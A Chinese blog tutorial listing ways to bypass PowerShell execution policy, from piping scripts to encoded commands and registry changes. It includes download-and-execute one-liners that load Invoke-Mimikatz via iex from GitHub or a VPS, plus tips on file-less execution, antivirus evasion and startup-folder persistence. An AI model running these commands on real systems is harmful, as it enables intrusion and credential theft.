绕过PowerShell执行策略方法总结
默认情况下,PowerShell配置为阻止Windows系统上执行PowerShell脚本。对于渗透测试人员,系统管理员和开发人员而言,这可能是一个障碍,但并非必须如此。
什么是PowerShell执行策略?
PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。
为什么我要绕过执行政策?
因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:
Windows原生支持
能够调用Windows API
能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
能够避免被反病毒工具检测
大多数应用程序白名单解决方案已将其标记为“受信任”
一种用于编写许多开源Pentest工具包的媒介
如何查看执行策略
在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:
Get-ExecutionPolicy
同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使用下面的命令列表。更多信息可以点击这里查看微软的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
我们先将powershell执行策略设置为Restricted(限制),方便进行后续测试绕过PowerShell Execution Policy。
Set-ExecutionPolicy Restricted
绕过PowerShell执行策略
将脚本粘贴到Interactive PowerShell控制台中
复制并粘贴你的PowerShell脚到一个交互式控制台,如下图所示。但是,请记住,你将受到当前用户权限限制。这是最基本的例子,当你有一个交互控制台时,可以方便快速地运行脚本。此外,这种技术不会更改配置或需要写入磁盘。
Write-Host "It's run!";
echo脚本并将其通过管道传递到PowerShell
简单的ECHO脚本到PowerShell的标准输入。这种技术不会导致配置的更改或要求写入磁盘。
Echo Write-Host "It's run!" | PowerShell.exe -noprofile -
从文件读取脚本并通过管道传输到PowerShell
使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。然而,如果你想试图避免写到磁盘,你可以从网络上远程读取你的脚本。
例1:Get-Content Powershell命令
Get-Content .\demo.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
type .\demo.ps1 | PowerShell.exe -noprofile -
从远程下载脚本并通过IEX执行
这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"
如无法使用github下载可换vps:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://182.xxx.xxx.156:10001/demo.ps1')"
使用使用command命令
这种技术和通过复制和粘贴来执行一个脚本是非常相似的,但它可以做没有交互式控制台。这是很好的方式适合执行简单的脚本,但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写入磁盘。
例1:完整的命令
Powershell -command "Write-Host "Its run!"";
示例2:简短命令(-c)
Powershell -c "Write-Host "It’s run!'"
可能还值得注意的是,您可以将这些类型的PowerShell命令放入批处理文件中,并将它们放入自动运行的位置(如所有用户的启动文件夹),以在权限提升期间提供帮助。
使用EncodeCommand命令
这和使用"Command"命令非常像,但它为所有的脚本提供了一个Unicode / Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁盘。
例1: 完整的命令
$command = "Write-Host 'Its run!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
powershell.exe -EncodedCommand $encodedCommand
示例2:通过简短的命令使用编码字符串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuA
使用Invoke-Command命令
这是一个典型的通过交互式PowerShell控制台执行的方法。但最主要的是当PowerShell远程处理开启时我们可以用它来对远程系统执行命令。这种技术不会导致配置更改或要求写入磁盘。
Invoke-command -scriptblock {Write-Host "Its run!"}
下面的命令还可以用来抓取从远程计算机的execution policy并将其应用到本地计算机。
Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force
这种方式经测试不可行。
域环境下:
工作组下:
使用Invoke-Expression命令
这是另一个典型的通过交互式PowerShell控制台执行的方法。这种技术不会导致配置更改或要求写入磁盘。下面我列举了一些常用的方法来通过Invoke-Expression绕过execution policy。
例1:使用Get-Content的完整命令
Get-Content .\demo.ps1 | Invoke-Expression
示例2:使用Get-Content的简短命令
GC .\demo.ps1 | iex
使用“Bypass”绕过Execution Policy
当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止,没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1
使用“Unrestricted”标记Execution Policy
这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本,它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1
使用“Remote-Signed”标记Execution Policy
要想绕过执行限制,需要按照如下教程操作对脚本进行数字签名。
详细参考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
直接使用Remote-signed标记脚本无法运行的
PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1
通过交换AuthorizationManager禁用ExecutionPolicy
下面的函数可以通过一个交互式的PowerShell来执行。一旦函数被调用"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然而,它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\demo.ps1
把ExcutionPolicy设置成Process Scope
执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术,执行策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写入到磁盘。
Set-ExecutionPolicy Bypass -Scope Process
通过命令设置ExcutionPolicy为CurrentUser Scope
这种方法和上面那种类似。但是这种方法通过修改注册表将当前用户环境的设置应用到当前用户的环境中。此外,它不会导致在配置更改或需要写入到磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
通过注册表设置ExcutionPolicy为CurrentUser Scope
在这个例子中,展示了如何通过修改注册表项来改变当前用户的环境的执行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
总结总结
使用的execution policy不一定是开发商,管理员,或者。微软从来没有打算将它成为一个安全控制。这就是为什么有这么多选择绕过它。微软很好地提供了一些本地选项和安全社区也拿出一些真正有趣的东西。
————————————————
版权声明:本文为CSDN博主「Micr067」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_41082546/article/details/106878654
绕过PowerShell执行策略方法总结的更多相关文章
- Win powershell执行策略配置
参考连接:https://blog.csdn.net/jeffxu_lib/article/details/84710386 参考连接:http://www.cragsman.org/index.ph ...
- PowerShell~执行策略的介绍
首先看一下无法加载ps1脚本的解决方法 事实上也是由于策略导致的 解决方法主是开启对应的策略 set-ExecutionPolicy RemoteSigned 执行策略更改 执行策略可以防止您执行不 ...
- powershell 执行策略
前言 上一篇博文,我介绍了一下powershell和cmd的对比.通过学习,我发现powershell的确比cmd更加power,也更加适应现在的使用场景. 那么本文将继续介绍一个powershell ...
- 【原创】NuGet 出现“无法初始化 PowerShell 主机,如果将你的 PowerShell 执行策略设置设置为 AllSigned ,请先打开程序包管理控制台以初始化该主机” 错误的解决方法
现象: 网上的设置 AllSigned 等方法都无效..后来考虑可能跟命令行版本兼容性有关系,然后在注册表命令行配置里发现一 ForceV2 设置项,抱着试一试的心态改了下,果然解决了! 解决方法:修 ...
- powershell脚本执行绕过powershell下脚本执行限制(cmd下执行)以及在cmd下隐藏脚本窗口
powershell脚本执行绕过powershell下脚本执行限制(cmd下执行) powershell脚本运行方式有两种,一种是powshell中运行,另一种是在cmd中(在某些情况下相当有用) p ...
- PowerShell 脚本执行策略
为防止恶意脚本的执行,PowerShell 中设计了一个叫做执行策略(Execution Policy)的东西(我更倾向于把它叫做脚本执行策略).我们可以在不同的应用场景中设置不同的策略来防止恶意脚本 ...
- python虚拟环境virtualenv、virtualenv下运行IDLE、powershell 运行脚本由执行策略引起的问题
一.为什么要创建虚拟环境: 应为在开发中会有同时对一个包不同版本的需求,创建多个开发环境就能解决这个问题.或许也会有对python不同版本的需求,这就需要使用程序来管理不同的版本,virtualenv ...
- Powershell ExecutionPolicy 执行策略
简单说明 powershell对于脚本的执行有着严格的安全限制 Get-ExecutionPolicy -List #查看当前的执行策略 Set-ExecutionPolicy -Scope Curr ...
- 哪些方法可以绕过PowerShell Execution Policy?
哪些方法可以绕过PowerShell Execution Policy? 转: https://blog.csdn.net/qq_27446553/article/details/50577296
随机推荐
- SA-N26接口和EPS fallback
SA-N26接口和EPS fallback 1 什么是N26接口 如下图,N26(23.501)接口为4G核心网和5G核心网之间的接口,即MME和AMF的接口,用于4G和5G的互操作 2 SA(5GC ...
- 【转】sql用逗号连接多张表对应哪个join?
逗号连接查询(用where连接条件): select order.id, order.orderdate,employee.id,employee.name from order,employee w ...
- MongoDB启动和关闭问题
1.当我们使用离线安装mongodb完成后, 推荐安装教程: http://dblab.xmu.edu.cn/blog/868-2/#more-868 在使用 ' mongod -f XXX/mong ...
- Remote desktop cannot verify?教你如何应对
远程桌面:IIS7远程桌面IIS7远程桌面管理工具(3389.vps.服务器批量管理.批量远程工具)简介: 1.批量管理WIN系列服务器,VPS,电脑. 2.批量导入服务器的IP,端口,账号和密码 ...
- golang内置类型和内置函数
golang内置类型和内置函数是不需要引入包直接可用的 golang内置类型: 数值类型 string int,unint float32,float64 bool array 有长度的 comple ...
- jchdl - GSL实例 - Mux4(使用Mux)
https://mp.weixin.qq.com/s/GrYJ4KXEFRoLLmLnAGoMSA 原理图 参考链接 https://github.com/wjcdx/jchdl/blob/ma ...
- Java实现 LeetCode 204 计数质数
204. 计数质数 统计所有小于非负整数 n 的质数的数量. 示例: 输入: 10 输出: 4 解释: 小于 10 的质数一共有 4 个, 它们是 2, 3, 5, 7 . class Solutio ...
- java实现第五届蓝桥杯圆周率
圆周率 数学发展历史上,圆周率的计算曾有许多有趣甚至是传奇的故事.其中许多方法都涉及无穷级数. 图1.png中所示,就是一种用连分数的形式表示的圆周率求法. 下面的程序实现了该求解方法.实际上数列的收 ...
- 数据的存储结构浅析LSM-Tree和B-tree
目录 顺序存储与哈希索引 SSTable和LSM tree B-Tree 存储结构的比对 小结 本篇主要讨论的是不同存储结构(主要是LSM-tree和B-tree),它们应对的不同场景,所采用的底层存 ...
- Markdown编辑器说明
标题: Markdown编辑器说明 作者: 梦幻之心星 347369787@QQ.com 标签: [Markdown, 编辑器] 目录: [软件] 日期: 2020-6-4 前提说明 在使用Markd ...